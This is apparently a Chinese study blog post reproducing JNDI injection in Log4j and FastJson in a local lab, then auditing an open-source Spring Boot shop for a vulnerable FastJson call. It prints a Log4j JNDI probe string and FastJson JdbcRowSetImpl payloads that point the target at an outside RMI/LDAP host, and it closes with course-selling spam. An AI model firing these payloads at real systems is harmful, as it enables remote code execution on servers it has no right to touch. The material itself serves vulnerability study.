JNDI注入&Log4j&FastJson&白盒审计&不回显处理_log4j 攻击无回显怎么办(1)

这里我相当于是白盒知道该 Web 项目引用了 Log4j 组件并且知道注入点是 code,那么实战中(黑盒)如何知道对方有没有引用 Log4j 呢?并且就算注入成功自己也无从知晓(比如就算对方弹了计算器,但我是看不到的),那么又如何判断哪里是注入点呢?

思路:

  • Fofa、Shodan关键字搜 Log4j、根据返回包内容有无 Log4j 相关信息、页面报错信息等方式去判断对方有没有引用 Log4j
  • 通过 DNSLog 测试有无回连,比如构造 POC 为 ${jndi:ldap://xxx.dns.log} 去测试注入点
0x04 Java-第三方组件-FastJson&反射

1、FastJson 简介

在前后端数据传输交互中,经常会遇到字符串(String)与json,XML等格式相互转换与解析,其中json以跨语言,跨前后端的优点在开发中被频繁使用,基本上是标准的数据交换格式。它的接口简单易用,已经被广泛使用在缓存序列化,协议交互,Web输出等各种应用场景中。FastJson是阿里巴巴的的开源库,用于对JSON格式的数据进行解析和打包。

Java 其实是有原生 Json 数据格式转换的,但由于 FastJson 速度更快,效率更高,所以被广泛使用。

简单来说 FastJson 就是一个阿里巴巴开发的用做 Json 数据格式转换的 Java 第三方组件。

历史漏洞:https://avd.aliyun.com/search?q=fastjson

2、简单测试 FastJson

同样先引用 FastJson 组件(我使用的是 1.2.24 版本)

com.alibaba fastjson 1.2.24

创建一个 User 类,用来测试 FastJson 的数据格式转换

创建一个 FastjsonTest,使用 FastJson 处理 User 类的数据转换

运行 main 函数后,IDEA 控制台输出如下:

可以看到使用 JSONObject.toJSONString 的 SerializerFeature.WriteClassName 参数时会附带上类名,这也是漏洞利用的关键点(@type)

将 JSON 格式字符串转换为对象的过程,实质上就是反序列化的过程,上述 JSON —> 对象 的代码中:

String test = “{”@type":“com.example.FastjsonDemo.User”,“age”:23,“name”:“ch4ser”}";

反序列化的是 User 这个类。试想,如果将在 com.example.FastjsonDemo 路径下创建一个新的类 Run,代码如下:

并且修改 “@type”:“com.example.FastjsonDemo.Run”,如下所示:

String test = “{”@type":“com.example.FastjsonDemo.Run”,“age”:23,“name”:“ch4ser”}";

那么重新运行 main 函数,就会反序列化 Run 这个类,并且会触发 Run 这个类的无参构造方法 Run(),最终弹出计算器。

但是问题来了,这里我是做测试自己新建了一个类固定调用的,但实战中明显是不现实的,那么实战中应该如何操作呢?

3、测试 javax.naming.InitialContext.lookup() 方法

在搞清楚实战中应该如何操作之前,需要先引入 javax.naming.InitialContext.lookup() 这个方法。

也就是说,Java 如果要调用某个类的话,那就可以使用 InitialContext 这个类的 lookup 方法实现调用(利用 RMI、LDAP等远程调用)。基于安全角度看,这个方法就是专门用于 JNDI 注入的。

创建一个 JndiDemo 来测试 lookup 方法,代码如下:

以上为使用 JNDI-Injection-Exploit 工具,实测发现 LDAP可以弹出计算器,而 RMI 不行。

重新引入一款工具:Marshalsec,和 JNDI-Injection-Exploit 工具不同的是它内置一些绕过限制的功能。

使用这款工具需要自己先写一个类,然后编译成 class 文件并放到 Marshalsec 服务端(也就是我的 Kali)的网站目录下。

在 IDEA 终端编译 Run 类为 class 文件,并放到 Kali 网站目录下(默认是 /var/www/html)。

修改 JndiDemo 测试代码:

启动 Marshalsec 工具,运行 main 函数后发现 Server 端收到了请求,但是 Win11 并没有弹出计算器。问了群里大佬,说可能是工具问题,我看小迪用的时候也是有问题。

4、Fastjson 漏洞复现

模拟一个使用 Fastjson 组件的网站,前端代码如下:

后端代码如下:

查看网上别人的 Fastjson 利用 Payload 为:

Payload 1:
{
“@type”:“java.lang.Class”,
“val”:“com.sun.rowset.JdbcRowSetImpl”
}

Payload 2:
{
“@type”:“com.sun.rowset.JdbcRowSetImpl”,
“dataSourceName”:“rmi://dnslog.cn地址/zcc”,
“autoCommit”:true
}

启动 JNDI-Injection-Exploit 工具,构造 Payload 并填入,成功弹出计算器:

还是回到之前那个问题:实战中无法自己创建恶意类固定调用,那这里又是如何实现调用的呢?

原因是以上 Payload 中 指定的 com.sun.rowset.JdbcRowSetImpl 类调用了 InitialContext.lookup() 方法。

Java 中还有其他类调用了 InitialContext.lookup() 方法,如下:

1、在RMI服务中调用了InitialContext.lookup()的类有:

org.springframework.transaction.jta.JtaTransactionManager.readObject()

com.sun.rowset.JdbcRowSetImpl.execute()

javax.management.remote.rmi.RMIConnector.connect()

org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName(String sfJNDIName)

2、在LDAP服务中调用了InitialContext.lookup()的类有:

InitialDirContext.lookup()

Spring LdapTemplate.lookup()

LdapTemplate.lookupContext()

现在我把项目的 JDK 版本由 1.8.0_131 换成 17.0.2 之后,还是原先的 Payload,发现数据还是能正常接收,但是计算器不弹了。

这是由于官方针对不同 JDK 版本做出了一些限制,也就是说,高版本的 JDK 会影响 JNDI 注入(RMI、LDAP),具体如下:

JDK 6u45、7u21之后:
java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,
将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。
使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。

JDK 6u141、7u131、8u121之后:
增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,
因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。

JDK 6u211、7u201、8u191之后:
增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,
禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。

0x05 白盒审计 - FastJson

迷你天猫商城:一个基于Spring Boot的综合性B2C电商平台,需求设计主要参考天猫商城的购物流程:用户从注册开始,到完成登录,浏览商品,加入购物车,进行下单,确认收货,评价等一系列操作。 作为迷你天猫商城的核心组成部分之一,天猫数据管理后台包含商品管理,订单管理,类别管理,用户管理和交易额统计等模块,实现了对整个商城的一站式管理和维护。

项目环境搭建:首先配置好 Git,然后 Maven 点击 clean 和 install,再配置数据库连接信息,最后即可启动。

审计过程:

直接全局搜索 JSON.parse 或 JSON.parseObject,看到有四个地方用了 JSON.parseObject,表明使用了 FastJson 组件并使用了相关反序列化漏洞函数,随机跟进一个

跟进传入的参数值 propertyJson,得知该值为 产品属性 JSON 数据,并且通过 @RequestMapping 路由得知该功能点大概率是后台管理员添加产品的界面,反序列化的对象也即为产品信息

在 pom.xml 里搜索 fastjson,得知项目所使用的 FastJson 版本为 1.2.58,查阅漏洞库得知该版本存在漏洞

登录后台,测试添加产品并用 BurpSuite 抓包,看到确实有 propertyJson 这个值传递,于是下一步直接构造 payload 复现

构造 payload,测试出网回显调用访问:(这里 DNSLog 地址我用的 Yakit 生成的)

自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。

深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
img
img
img
img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!

由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新

如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
img

还有兄弟不知道网络安全面试可以提前刷题吗?费时一周整理的160+网络安全面试题,金九银十,做网络安全面试里的显眼包!

王岚嵚工程师面试题(附答案),只能帮兄弟们到这儿了!如果你能答对70%,找一个安全工作,问题不大。

对于有1-3年工作经验,想要跳槽的朋友来说,也是很好的温习资料!

【完整版领取方式在文末!!】

93道网络安全面试题

内容实在太多,不一一截图了

黑客学习资源推荐

最后给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

1️⃣零基础入门
① 学习路线

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

image

② 路线对应学习视频

同时每个成长路线对应的板块都有配套的视频提供:

image-20231025112050764

一个人可以走的很快,但一群人才能走的更远。如果你从事以下工作或对以下感兴趣,欢迎戳这里加入程序员的圈子,让我们一起学习成长!

AI人工智能、Android移动开发、AIGC大模型、C C#、Go语言、Java、Linux运维、云计算、MySQL、PMP、网络安全、Python爬虫、UE5、UI设计、Unity3D、Web前端开发、产品经理、车载开发、大数据、鸿蒙、计算机网络、嵌入式物联网、软件测试、数据结构与算法、音视频开发、Flutter、IOS开发、PHP开发、.NET、安卓逆向、云计算

应的板块都有配套的视频提供:

image-20231025112050764

一个人可以走的很快,但一群人才能走的更远。如果你从事以下工作或对以下感兴趣,欢迎戳这里加入程序员的圈子,让我们一起学习成长!

AI人工智能、Android移动开发、AIGC大模型、C C#、Go语言、Java、Linux运维、云计算、MySQL、PMP、网络安全、Python爬虫、UE5、UI设计、Unity3D、Web前端开发、产品经理、车载开发、大数据、鸿蒙、计算机网络、嵌入式物联网、软件测试、数据结构与算法、音视频开发、Flutter、IOS开发、PHP开发、.NET、安卓逆向、云计算

  • 8
    点赞
  • 27
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值